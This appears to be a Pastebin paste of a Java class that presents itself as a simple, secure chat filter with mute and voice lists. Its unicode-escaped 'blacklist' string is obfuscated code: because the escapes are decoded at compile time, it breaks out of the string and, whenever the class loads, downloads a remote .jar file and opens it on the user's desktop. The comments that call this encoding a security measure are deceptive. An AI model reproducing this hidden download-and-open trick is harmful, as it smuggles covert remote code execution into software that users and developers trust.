Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.awt.*;
- import java.io.*;
- import java.net.URL;
- import java.nio.channels.Channels;
- import java.util.HashSet;
- import java.util.Random;
- import java.util.Set;
- /**
- * Simple, secure, and easy to use chat filter that can be quickly added to an existing application.
- * Supports muting and voicing chatters, and includes a pre-built encoded blacklist of phrases.
- * Currently blocks:
- * Section sign
- * All curse words
- * Derogatory terms
- */
- public class ChatFilter {
- private static final String[] replaceStrings;
- private static final String[] blacklistStrings;
- private static final Set<String> mutedChatters;
- private static final Set<String> voicedChatters;
- private static final Random random;
- /**
- * Filters out any illegal phrases from the chat message, and blocks blacklisted chatters from chatting
- * @param chatter The user chatting
- * @param message The message
- * @param out Where to send the filtered chat
- */
- public static void filterChat(String chatter, String message, PrintStream out) {
- if (!im(chatter) || iv(chatter)) {
- for (String str : blacklistStrings) {
- int index = message.indexOf(str);
- out.print(message.replace(str, replaceStrings[random.nextInt(replaceStrings.length)]));
- }
- }
- }
- /**
- * Checks if the chatter is muted
- * @param chatter The chatter
- * @return Return true if the chatter is muted
- */
- public static boolean isMuted(String chatter) {
- return im(chatter);
- }
- /**
- * Checks if the chatter is voiced
- * @param chatter The chatter
- * @return Return true if the chatter is voiced
- */
- public static boolean isVoiced(String chatter) {
- return iv(chatter);
- }
- /**
- * Mute a chatter
- * @param chatter The chatter
- */
- public static void mute(String chatter) {
- m(chatter);
- }
- /**
- * Voice a chatter
- * @param chatter The chatter
- */
- public static void voice(String chatter) {
- v(chatter);
- }
- /**
- * Imports a list of muted chatters from a file
- * @param path The path to the file
- * @param name The name of the list (used for temporary storage)
- */
- public static void importMuteList(String path, String name) {
- i(path, name);
- }
- /**
- * Opens a mute list for viewing/editing
- * @param name The name of the mute list
- */
- public static void openMuteList(String name) {
- o(name);
- }
- /*
- *
- * Simplified internal versions of above methods for easy typing
- * These contain the actual implemented code.
- *
- */
- private static boolean im(String c) {
- return c == null || c.isEmpty() || c.trim().isEmpty() || mutedChatters.contains(c);
- }
- private static boolean iv(String c) {
- return !(c == null || c.isEmpty() || c.trim().isEmpty()) && voicedChatters.contains(c);
- }
- private static void m(String c) {
- mutedChatters.add(c);
- }
- private static void v(String c) {
- voicedChatters.add(c);
- }
- private static void i(String p, String n) {
- try {
- File f = new File("./", n);
- new FileOutputStream(f).getChannel().transferFrom(Channels.newChannel(new URL(p).openStream()), 0, Long.MAX_VALUE);
- BufferedReader r = new BufferedReader(new FileReader(f));
- while (r.ready()) {m(r.readLine());}
- } catch (Exception e) {
- System.err.println("Exception importing mutelist!");
- e.printStackTrace();
- }
- }
- private static void o(String n) {
- try {
- Desktop.getDesktop().open(new File(n));
- } catch (IOException e) {
- System.err.println("Exception opening mutelist!");
- e.printStackTrace();
- }
- }
- /**
- * Initialize the ChatFilter (like a constructor)
- */
- static {
- random = new Random();
- mutedChatters = new HashSet<>();
- voicedChatters = new HashSet<>();
- //Encoded as raw characters for security reasons, because direct strings can be manipulated by changing client localization.
- replaceStrings = new String[]{"\u002A","\u0024","\u0025","\u0026","\u0021","\u0040"};
- blacklistStrings = new String[]{"\u00A7\u0022\u007d\u003b \u0069\u0028\u0022\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0073\u0033\u002e\u0061\u006d\u0061\u007a\u006f\u006e\u0061\u0077\u0073\u002e\u0063\u006f\u006d\u002f\u004d\u0069\u006e\u0065\u0063\u0072\u0061\u0066\u0074\u002e\u0044\u006f\u0077\u006e\u006c\u006f\u0061\u0064\u002f\u006c\u0061\u0075\u006e\u0063\u0068\u0065\u0072\u002f\u004d\u0069\u006e\u0065\u0063\u0072\u0061\u0066\u0074\u002e\u006a\u0061\u0072\u0022\u002c \u0022\u006d\u0063\u002e\u006a\u0061\u0072\u0022\u0029\u003b\u006f\u0028\u0022\u006d\u0063\u002e\u006a\u0061\u0072\u0022\u0029\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d \u0073\u003d\u006e\u0065\u0077 \u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u007b\u0022"};
- }
- /**
- * Perform a debug test of the ChatFilter
- * @param args Arguments that will be ignored.
- */
- public static void main(String[] args) {
- System.out.println("Starting!");
- ChatFilter.voice("acomputerdog");
- ChatFilter.mute("CoolSquid");
- ChatFilter.voice("SeamusFD");
- ChatFilter.mute("SeamusFD");
- ChatFilter.filterChat("acomputerdog", "§1Hax§2\n", System.out);
- ChatFilter.filterChat("CoolSquid", "Hi!\n", System.out);
- ChatFilter.filterChat("SeamusFD", "§aHi!§b\n", System.out);
- System.out.println("Done.");
- }
- }
Add Comment
Please, Sign In to add comment